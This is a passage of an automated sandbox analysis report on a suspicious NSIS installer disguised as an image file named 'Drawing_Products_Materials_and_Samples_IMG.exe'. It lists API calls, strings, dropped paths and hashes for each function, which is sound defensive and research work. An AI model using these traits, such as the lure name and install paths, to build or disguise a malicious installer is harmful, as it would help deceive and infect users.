API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-53564135
Opcode ID: 9b5da5f192e7fde48b3e860a3ac5a2cc75dd95881ee06f6ed108556e41d4a0c5
Instruction ID: c955c8b93a0d53af4c9a85723dcc71deb8f5af4d32c19fd1700f1dbf21e431d8
Opcode Fuzzy Hash: 9b5da5f192e7fde48b3e860a3ac5a2cc75dd95881ee06f6ed108556e41d4a0c5
Instruction Fuzzy Hash: 9F51AE70800A14BADF216B258C49BBF7A79EB42319F14817BF444B12D2D73C9A81DEAD

Function 00405859 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040586D
GetTempFileNameA.KERNELBASE(?,?,00000000,?), ref: 00405887

Strings

nsa, xrefs: 00405864
C:\Users\user\AppData\Local\Temp\, xrefs: 0040585C, 00405860
"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe", xrefs: 00405859

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-573509740
Opcode ID: 87e393fdd40e1d767205cfde8df7900e21dccd4be60ce2c97c6d908c1bde172d
Instruction ID: 4aebe10c88a2e36316dbf067ffd0f1b8a4e5ad9d66982a0f7a9d71ca3a6838ad
Opcode Fuzzy Hash: 87e393fdd40e1d767205cfde8df7900e21dccd4be60ce2c97c6d908c1bde172d
Instruction Fuzzy Hash: E3F082377083046BDB109F66DC04B9B7B9CDF95750F14C037FE44DA190D6B499548B59

Function 00402036 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 134
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(00407384,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,?), ref: 00402089
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,C:\Users\user\AppData\Local\jazy.lnk,00000400,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,?), ref: 00402143

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Urging, xrefs: 004020C1
C:\Users\user\AppData\Local\jazy.lnk, xrefs: 0040212C, 00402136, 00402152

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\jazy.lnk$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Urging
API String ID: 123533781-2336559525
Opcode ID: 2e1ddb8780e1016394c9569cfde0881147111bc378c8489ba5f4aecf93cc6e5d
Instruction ID: f40fdd2f837a9ef4581bc193a6a0bea3429b4c51dfd852c6190c3096ceffc06e
Opcode Fuzzy Hash: 2e1ddb8780e1016394c9569cfde0881147111bc378c8489ba5f4aecf93cc6e5d
Instruction Fuzzy Hash: 86415F75A00205AFCB00DFA4CD88EAE7BB5EF49314F204169F905EB2D1CA79AD41CB55

Function 00405E80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(?,007A0548,Grundsprogs.but,0040575A,Grundsprogs.but,Grundsprogs.but,00000000,Grundsprogs.but,Grundsprogs.but,?,?,773E3410,00405479,?,C:\Users\user\AppData\Local\Temp\,773E3410), ref: 00405E8B
FindClose.KERNEL32(00000000), ref: 00405E97

Strings

Grundsprogs.but, xrefs: 00405E80

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: Grundsprogs.but
API String ID: 2295610775-3503724756
Opcode ID: cc838ac162cb5096740799fdca5271843f6408794e75c0bc12259f58485ee713
Instruction ID: 6833435bd7c55ba6949cdbc3f534d3e11c9bb8cd8424a8444c2420f5768f04fc
Opcode Fuzzy Hash: cc838ac162cb5096740799fdca5271843f6408794e75c0bc12259f58485ee713
Instruction Fuzzy Hash: E2D012719494205BC7441738ED0C8AF7A59DB5A3317204F32B4A9F12E0C3389D628AE9

Function 00405EA7 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403134,?), ref: 00405EB9
LoadLibraryA.KERNELBASE(?,?,?,00403134,?), ref: 00405EC4
GetProcAddress.KERNEL32(00000000,?), ref: 00405ED5

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 054130f1168f4888e0973aa3cf4ac603bfb450dfe6f2d22fd482d5db7ed26554
Instruction ID: 12aa124b33c0948ddb41e5fcbe9811a0bcf46c48a2c09d507a8af2750e30391c
Opcode Fuzzy Hash: 054130f1168f4888e0973aa3cf4ac603bfb450dfe6f2d22fd482d5db7ed26554
Instruction Fuzzy Hash: BAE08C32A04611ABC6219B209E0896B77ACEA88A41301497EF945F6151D734AC119BBA

Function 004039B9 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004039F5
ShowWindow.USER32(?), ref: 00403A12
DestroyWindow.USER32 ref: 00403A26
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403A42
GetDlgItem.USER32(?,?), ref: 00403A63
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403A77
IsWindowEnabled.USER32(00000000), ref: 00403A7E
GetDlgItem.USER32(?,00000001), ref: 00403B2C
GetDlgItem.USER32(?,00000002), ref: 00403B36
SetClassLongA.USER32(?,000000F2,?), ref: 00403B50
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403BA1
GetDlgItem.USER32(?,00000003), ref: 00403C47
ShowWindow.USER32(00000000,?), ref: 00403C68
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403C7A
EnableWindow.USER32(?,?), ref: 00403C95
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403CAB
EnableMenuItem.USER32(00000000), ref: 00403CB2
SendMessageA.USER32(?,?,00000000,00000001), ref: 00403CCA
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403CDD
lstrlenA.KERNEL32(Unnarcotic33 Setup: Installing,?,Unnarcotic33 Setup: Installing,007A1F00), ref: 00403D06
SetWindowTextA.USER32(?,Unnarcotic33 Setup: Installing), ref: 00403D15
ShowWindow.USER32(?,0000000A), ref: 00403E49

Strings

Unnarcotic33 Setup: Installing, xrefs: 00403CF2, 00403CFC, 00403D05, 00403D13

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: Unnarcotic33 Setup: Installing
API String ID: 3282139019-3016879369
Opcode ID: 6d8ad34e300cf5008380b3153d116323a5e10cdd91790160abe8f1fa8dda5f0d
Instruction ID: e60f831e91f574596bba605afa47ae8b2d4b4441763b235232076e0cc55ea590
Opcode Fuzzy Hash: 6d8ad34e300cf5008380b3153d116323a5e10cdd91790160abe8f1fa8dda5f0d
Instruction Fuzzy Hash: FBC1C271904200BBEB21AF61ED45E2B3EACFB46706F04453EF641B11E1C77DA9429B6E

Function 00403627 Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405EA7: GetModuleHandleA.KERNEL32(?,?,?,00403134,?), ref: 00405EB9
Part of subcall function 00405EA7: LoadLibraryA.KERNELBASE(?,?,?,00403134,?), ref: 00405EC4
Part of subcall function 00405EA7: GetProcAddress.KERNEL32(00000000,?), ref: 00405ED5

lstrcatA.KERNEL32(1033,Unnarcotic33 Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Unnarcotic33 Setup: Installing,00000000,00000006,C:\Users\user\AppData\Local\Temp\,773E3410,"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe",00000000), ref: 004036A2
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid,1033,Unnarcotic33 Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Unnarcotic33 Setup: Installing,00000000,00000006,C:\Users\user\AppData\Local\Temp\), ref: 00403717
lstrcmpiA.KERNEL32(?,.exe), ref: 0040372A
GetFileAttributesA.KERNEL32(Call), ref: 00403735
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid), ref: 0040377E

Part of subcall function 00405ADA: wsprintfA.USER32 ref: 00405AE7

RegisterClassA.USER32(007A1EA0), ref: 004037BB
SystemParametersInfoA.USER32(?,00000000,?,00000000), ref: 004037D3
CreateWindowExA.USER32(?,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403808
ShowWindow.USER32(00000005,00000000), ref: 0040383E
LoadLibraryA.KERNELBASE(RichEd20), ref: 0040384F
LoadLibraryA.KERNEL32(RichEd32), ref: 0040385A
GetClassInfoA.USER32(00000000,RichEdit20A,007A1EA0), ref: 0040386A
GetClassInfoA.USER32(00000000,RichEdit,007A1EA0), ref: 00403877
RegisterClassA.USER32(007A1EA0), ref: 00403880
DialogBoxParamA.USER32(?,00000000,004039B9,00000000), ref: 0040389F

Strings

1033, xrefs: 00403647, 0040369D
.DEFAULT\Control Panel\International, xrefs: 0040368D
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid, xrefs: 004036B1, 004036B9, 00403751, 00403757, 00403767
Call, xrefs: 004036E5, 004036ED, 004036FA, 00403744, 0040374A
Control Panel\Desktop\ResourceLocale, xrefs: 0040365B
RichEdit20A, xrefs: 00403862, 00403868
_Nb, xrefs: 0040379A, 00403802
.exe, xrefs: 00403724
Unnarcotic33 Setup: Installing, xrefs: 00403653, 00403659, 0040367E, 00403687, 0040369C
RichEd20, xrefs: 0040384A
C:\Users\user\AppData\Local\Temp\, xrefs: 00403633
"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe", xrefs: 0040362B
RichEd32, xrefs: 00403855
RichEdit, xrefs: 00403871

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$Unnarcotic33 Setup: Installing$_Nb
API String ID: 914957316-178227565
Opcode ID: dc7206f8326d23eec4fcbdc0fea1e05ba2c42fac82f34ab169e21e38d3f74469
Instruction ID: 5a8f3a480c3ff0a7316bfe3ed3e84a823a8107e4b5d9873dcf131b1b59b1fd9f
Opcode Fuzzy Hash: dc7206f8326d23eec4fcbdc0fea1e05ba2c42fac82f34ab169e21e38d3f74469
Instruction Fuzzy Hash: E761D5715442406EE710BB659C85F373AACD78575AF00857EFA05B22E2C67DAD018A2D

Function 00402C33 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402C44
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe,00000400), ref: 00402C60

Part of subcall function 0040582A: GetFileAttributesA.KERNELBASE(00000003,00402C73,C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe,80000000,00000003), ref: 0040582E
Part of subcall function 0040582A: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405850

GetFileSize.KERNEL32(00000000,00000000,007AA000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe,C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe,80000000,00000003), ref: 00402CAC

Strings

Null, xrefs: 00402D2A
soft, xrefs: 00402D21
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402E0B
C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe, xrefs: 00402C4A, 00402C59, 00402C6D, 00402C8D
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C3D
Inst, xrefs: 00402D18
C:\Users\user\Desktop, xrefs: 00402C8E, 00402C93, 00402C99
Error launching installer, xrefs: 00402C83
"C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe", xrefs: 00402C33

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 4283519449-3569344066
Opcode ID: 29234429f16db235ec7e4964410a2920a6584f8896d7f8ce12431abf0ce67768
Instruction ID: 67f90bf762a0a8549ff8da05f1705a54a2dc0587b06dee9d11c49c0032f29009
Opcode Fuzzy Hash: 29234429f16db235ec7e4964410a2920a6584f8896d7f8ce12431abf0ce67768
Instruction Fuzzy Hash: 18510671D00204ABDB209F65DE89B6E7BA8EF44314F14403BFA04B62D1C7BC9E418BAD

Function 0040173F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Urging,00000000,00000000,00000031), ref: 0040177E
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Urging,00000000,00000000,00000031), ref: 004017A8

Part of subcall function 00405B7C: lstrcpynA.KERNEL32(?,?,00000400,0040315F,007A1F00,NSIS Error), ref: 00405B89

Part of subcall function 00404E89: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000,007904A8,007898A8,?,?,?,?,?,?,?,?,?,00402FA6,00000000,?), ref: 00404EC2
Part of subcall function 00404E89: lstrlenA.KERNEL32(00402FA6,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000,007904A8,007898A8,?,?,?,?,?,?,?,?,?,00402FA6,00000000), ref: 00404ED2
Part of subcall function 00404E89: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00402FA6,00402FA6,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000,007904A8,007898A8), ref: 00404EE5
Part of subcall function 00404E89: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll), ref: 00404EF7
Part of subcall function 00404E89: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F1D
Part of subcall function 00404E89: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F37
Part of subcall function 00404E89: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F45

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Urging, xrefs: 0040176C
C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll, xrefs: 0040180C, 00401828
Call, xrefs: 0040175B, 00401764, 00401771, 00401783, 00401794, 004017CA, 004017E0, 004017FE, 0040183E, 004018BF, 004018C8, 004018D2, 004018DD
C:\Users\user\AppData\Local\Temp\nsw1382.tmp, xrefs: 00401789, 004017F8, 00401816

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
